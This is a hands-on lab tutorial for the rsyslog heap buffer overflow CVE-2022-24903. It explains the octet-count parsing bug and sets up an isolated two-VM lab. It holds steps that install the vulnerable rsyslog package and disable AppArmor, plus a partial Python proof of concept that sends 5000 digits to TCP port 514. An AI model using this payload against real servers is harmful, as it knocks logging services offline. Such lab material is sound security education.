CVE-2022-24903 Hands-On Lab

Author: Andrew Beshay Mousa

A practical hands-on lab demonstrating the rsyslog heap buffer overflow vulnerability.

A practical lab environment to reproduce and understand the rsyslog Heap Buffer Overflow vulnerability (CVE-2022-24903) via octet-counted framing in TCP syslog reception.

---

Table of Contents

• Overview
• Lab Architecture
• Prerequisites
• Vulnerability Details
• Lab Setup
  • Target Machine (Ubuntu)
  • Attacker Machine (Kali)
• Exploitation
• Verification
• Troubleshooting
• Mitigation
• References

---

Overview

CVE-2022-24903 is a heap buffer overflow vulnerability in rsyslog's TCP syslog reception module (imtcp) when using octet-counted framing (RFC 5425).

An attacker can send a crafted TCP syslog message with an excessively long octet-count prefix, causing rsyslog to write beyond the bounds of a heap-allocated buffer, resulting in a denial of service (DoS) or potential memory corruption.

Attribute	Value
CVE ID	CVE-2022-24903
Affected	rsyslog < 8.2204.1
Vector	Network
Port	514/TCP
Module	imtcp (TCP Input)
Impact	DoS / Heap Corruption
RCE Likely?	No (vendor assessment)

---

Lab Architecture

+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

VMs Required

VM	OS	Role	IP	RAM	CPU
Target	Ubuntu 22.04	Vulnerable rsyslog server	192.168.56.20	1 GB	1
Attacker	Kali Linux	Exploit sender	192.168.56.10	2 GB	1

Note: You can use any Ubuntu version (20.04, 22.04, 24.04) as the Target. The key is manually installing the vulnerable rsyslog 8.2001.0 .deb package.

---

Prerequisites

• VirtualBox or VMware Workstation
• Ubuntu 22.04 ISO (~2 GB)
• Kali Linux VM (~4 GB)
• Host-Only Network configured in your hypervisor
• Basic knowledge of Linux commands and Python

---

Vulnerability Details

What is Octet-Counted Framing?

In TCP syslog (RFC 5425), messages are prefixed with their length in bytes:

123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

The Bug

In vulnerable rsyslog versions, the octet-count parser:

1. Accumulates digits into a fixed-size heap buffer
2. Does not check buffer boundaries while writing digits
3. Continues writing digits even after the octet count exceeds the maximum allowed value

// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

Result: Sending 9999... (5000+ digits) overflows the heap buffer, corrupting adjacent memory.

Why RCE is Difficult

• Overflow is limited to numeric characters only (0-9)
• Parser stops at first non-digit character
• Cannot inject shellcode directly
• DoS is guaranteed; RCE is considered unlikely by the vendor

---

Lab Setup

Step 1: Configure Host-Only Network

In your hypervisor, create a Host-Only network:

• Subnet: 192.168.56.0/24
• DHCP: Disabled (static IPs)

Attach both VMs to this network.

---

Step 2: Target Machine (Ubuntu)

2.1 Set Static IP

sudo nano /etc/netplan/00-installer-config.yaml

Paste:

network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

Apply:

sudo netplan apply

Verify:

ip addr show | grep 192.168.56.20

2.2 Stop and Remove Modern rsyslog

sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 Download and Install Vulnerable rsyslog

cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

If you get a dpkg lock error:

sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

Verify version:

rsyslogd -v | head -2

Expected output:

rsyslogd  8.2001.0

2.4 Disable AppArmor (Lab Only)

AppArmor may block rsyslog from functioning correctly with the old package:

sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 Configure rsyslog for TCP 514

sudo nano /etc/rsyslog.conf

Clear the file and paste:

module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 Open Firewall Port

sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 Start rsyslog

sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

Verify listening:

sudo ss -tlnp | grep 514

Expected:

LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

---

Step 3: Attacker Machine (Kali)

3.1 Set Static IP

sudo nano /etc/network/interfaces

Paste:

auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

Or if using Netplan:

sudo nano /etc/netplan/01-netcfg.yaml

network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24

sudo netplan apply

3.2 Create Exploit Script

cd ~/Desktop
nano exploit.py

Paste:

#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg